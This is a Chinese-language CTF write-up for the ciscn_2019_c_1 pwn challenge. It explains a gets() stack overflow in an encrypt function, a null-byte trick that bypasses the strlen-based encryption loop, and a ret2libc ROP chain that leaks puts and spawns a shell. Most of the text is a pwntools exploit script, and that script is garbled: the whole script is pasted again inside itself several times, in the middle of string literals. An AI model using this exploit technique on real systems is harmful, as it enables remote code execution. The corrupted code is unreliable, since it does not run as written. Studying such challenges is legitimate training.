ciscn 2019 c 1

前提

查看文件保护

root@localhost ~# checksec ciscn_2019_c_1
[*] '/root/ciscn_2019_c_1'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

静态分析

主函数未发现明显漏洞，漏洞出现在输入1后进入的encrypt函数中，该函数如下

int encrypt()
{
    size_t v0;  // rbx
    char s[48]; // [rsp+0h] [rbp-50h]
    __int16 v3; // [rsp+30h] [rbp-20h]
    memset(s, 0, sizeof(s));
    v3 = 0;
    puts("Input your Plaintext to be encrypted");
    gets(s);
    while (1)
    {
        v0 = (unsigned int)x;
        if (v0 >= strlen(s))
            break;
        if (s[x] <= 96 || s[x] > 122)
        {
            if (s[x] <= 64 || s[x] > 90)
            {
                if (s[x] > 47 && s[x] <= 57)
                    s[x] ^= 0xFu;
            }
            else
            {
                s[x] ^= 0xEu;
            }
        }
        else
        {
            s[x] ^= 0xDu;
        }
        ++x;
    }
    puts("Ciphertext");
    return puts(s);
}

思路分析

1. 目前信息
   • 栈上变量s处可写入任意长度数据
   • 本题无后门函数
2. 问题
   • s变量处写入的数据将会被后续代码加密导致无法使用
3. 解决思路
   • 加密部分使用了strlen函数该函数从字符串的开头位置依次向后计数，直到遇见\0，然后返回计时器的值。最终统计的字符串长度不包括\0，这里可以构造一个特殊的首位是\0的payload提前break掉，从而绕过加密
   • 因为本题无可用后门函数，所以需要先泄露libc的版本和函数地址，接着再通过泄漏出的地址构造rop链劫持控制流以获得shell

exp

from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
pwnfile = '/root/pwn/buuctf/ciscn_2019_c_1/ciscn_2019_c_1'
# io = process(pwnfile)
io = remote('node4.buuoj.cn', 28284)
elf = ELF(pwnfile)
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi_ret = 0x400c83
encrypt_addr = elf.symbols['encrypt']
padding = 0x50+8
io.recvuntil('Input your choice!\n')
io.sendline(str(1))
payload = flat(['
from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
pwnfile = '/root/pwn/buuctf/ciscn_2019_c_1/ciscn_2019_c_1'
# io = process(pwnfile)
io = remote('node4.buuoj.cn', 28284)
elf = ELF(pwnfile)
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi_ret = 0x400c83
encrypt_addr = elf.symbols['encrypt']
padding = 0x50+8
io.recvuntil('Input your choice!\n')
io.sendline(str(1))
payload = flat(['\0', 'a'*(padding-1), pop_rdi_ret,puts_got, puts_plt, encrypt_addr])
# 首位\0绕过加密
io.sendlineafter('\n', payload)
leak_puts_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
# 泄漏puts的地址
print("leak puts addr:{0}".format(hex(leak_puts_addr)))
libc = LibcSearcher('puts', leak_puts_addr)
# 泄漏libc版本
libcbase = leak_puts_addr-libc.dump('puts')
system_addr = libcbase+libc.dump('system')
bin_sh_addr = libcbase+libc.dump('str_bin_sh')
ret = 0x4006b9
payload = flat(['\0', 'a'*(padding-1), ret,pop_rdi_ret, bin_sh_addr, system_addr])
io.sendlineafter('encrypted\n', payload)
io.recv()
io.interactive()
', 'a'*(padding-1), pop_rdi_ret,puts_got, puts_plt, encrypt_addr])
# 首位
from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
pwnfile = '/root/pwn/buuctf/ciscn_2019_c_1/ciscn_2019_c_1'
# io = process(pwnfile)
io = remote('node4.buuoj.cn', 28284)
elf = ELF(pwnfile)
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi_ret = 0x400c83
encrypt_addr = elf.symbols['encrypt']
padding = 0x50+8
io.recvuntil('Input your choice!\n')
io.sendline(str(1))
payload = flat(['\0', 'a'*(padding-1), pop_rdi_ret,puts_got, puts_plt, encrypt_addr])
# 首位\0绕过加密
io.sendlineafter('\n', payload)
leak_puts_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
# 泄漏puts的地址
print("leak puts addr:{0}".format(hex(leak_puts_addr)))
libc = LibcSearcher('puts', leak_puts_addr)
# 泄漏libc版本
libcbase = leak_puts_addr-libc.dump('puts')
system_addr = libcbase+libc.dump('system')
bin_sh_addr = libcbase+libc.dump('str_bin_sh')
ret = 0x4006b9
payload = flat(['\0', 'a'*(padding-1), ret,pop_rdi_ret, bin_sh_addr, system_addr])
io.sendlineafter('encrypted\n', payload)
io.recv()
io.interactive()
绕过加密
io.sendlineafter('\n', payload)
leak_puts_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
# 泄漏puts的地址
print("leak puts addr:{0}".format(hex(leak_puts_addr)))
libc = LibcSearcher('puts', leak_puts_addr)
# 泄漏libc版本
libcbase = leak_puts_addr-libc.dump('puts')
system_addr = libcbase+libc.dump('system')
bin_sh_addr = libcbase+libc.dump('str_bin_sh')
ret = 0x4006b9
payload = flat(['
from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
pwnfile = '/root/pwn/buuctf/ciscn_2019_c_1/ciscn_2019_c_1'
# io = process(pwnfile)
io = remote('node4.buuoj.cn', 28284)
elf = ELF(pwnfile)
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi_ret = 0x400c83
encrypt_addr = elf.symbols['encrypt']
padding = 0x50+8
io.recvuntil('Input your choice!\n')
io.sendline(str(1))
payload = flat(['\0', 'a'*(padding-1), pop_rdi_ret,puts_got, puts_plt, encrypt_addr])
# 首位\0绕过加密
io.sendlineafter('\n', payload)
leak_puts_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
# 泄漏puts的地址
print("leak puts addr:{0}".format(hex(leak_puts_addr)))
libc = LibcSearcher('puts', leak_puts_addr)
# 泄漏libc版本
libcbase = leak_puts_addr-libc.dump('puts')
system_addr = libcbase+libc.dump('system')
bin_sh_addr = libcbase+libc.dump('str_bin_sh')
ret = 0x4006b9
payload = flat(['\0', 'a'*(padding-1), ret,pop_rdi_ret, bin_sh_addr, system_addr])
io.sendlineafter('encrypted\n', payload)
io.recv()
io.interactive()
', 'a'*(padding-1), ret,pop_rdi_ret, bin_sh_addr, system_addr])
io.sendlineafter('encrypted\n', payload)
io.recv()
io.interactive()